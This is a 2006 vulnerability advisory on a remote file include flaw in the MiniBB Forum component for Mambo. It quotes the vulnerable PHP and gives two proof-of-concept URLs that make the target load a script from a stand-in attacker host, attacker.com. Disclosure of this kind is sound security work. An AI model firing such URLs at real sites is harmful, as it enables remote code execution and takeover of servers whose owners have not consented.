92 lines
No EOL
2.9 KiB
Text
92 lines
No EOL
2.9 KiB
Text
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MiniBB Forum Mambo Component <= 1.5a Remote File Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
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Date : July 14th 2006
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Location : Indonesia, Jakarta
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Web : http://advisories.echo.or.id/adv/adv39-matdhule-2006.txt
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https://www.securityfocus.com/bid/18998
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Critical Lvl : Highly critical
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Impact : System access
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Where : From Remote
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------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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# MiniBB Forum
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Application : MiniBB Forum (com_minibb.php & index.php)
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version : 1.5a
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------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~~~
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# MiniBB Forum
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In folder components we found vulnerability script com_minibb.php.
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-----------------------com_minibb.php-----------------------------------
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...................
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If ($current=="bb_admin"){
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include("$absolute_path/components/minibb/bb_admin.php");
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} else {
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include("$absolute_path/components/minibb/index.php");
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...................
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------------------------------------------------------------------------
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In folder minibb we found vulnerability script index.php.
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-----------------------index.php----------------------------------------
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..............................
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define ('INCLUDED776',1);
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include ($absolute_path.'/components/minibb/setup_options.php');
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if (isset($HTTP_COOKIE_VARS[$cookiename.'Language']) and $langCook=${$cookiename.'Language'}) { if
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(file_exists("$absolute_path/components/minibb/lang/{$langCook}.php")) $lang=$langCook; }
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include ($absolute_path.'/components/minibb/setup_'.$DB.'.php');
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..............................
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Variables $absolute_path are not properly sanitized. When register_globals=on
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and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
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Proof Of Concept:
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~~~~~~~~~~~~~~~~
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http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?
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http://[target]/[path]/components/minibb/index.php?absolute_path= http://attacker.com/evil.txt?
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Solution:
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~~~~~~~~
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sanitize variabel $absolute_path.
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------------------------------------------------------------------------
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---
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Shoutz:
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~~~~~~
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~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
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~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
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~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
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~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net
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------------------------------------------------------------------------
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---
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Contact:
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~~~~~~~
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matdhule[at]gmail[dot]com
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-------------------------------- [ EOF ]----------------------------------
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# milw0rm.com [2006-07-17] |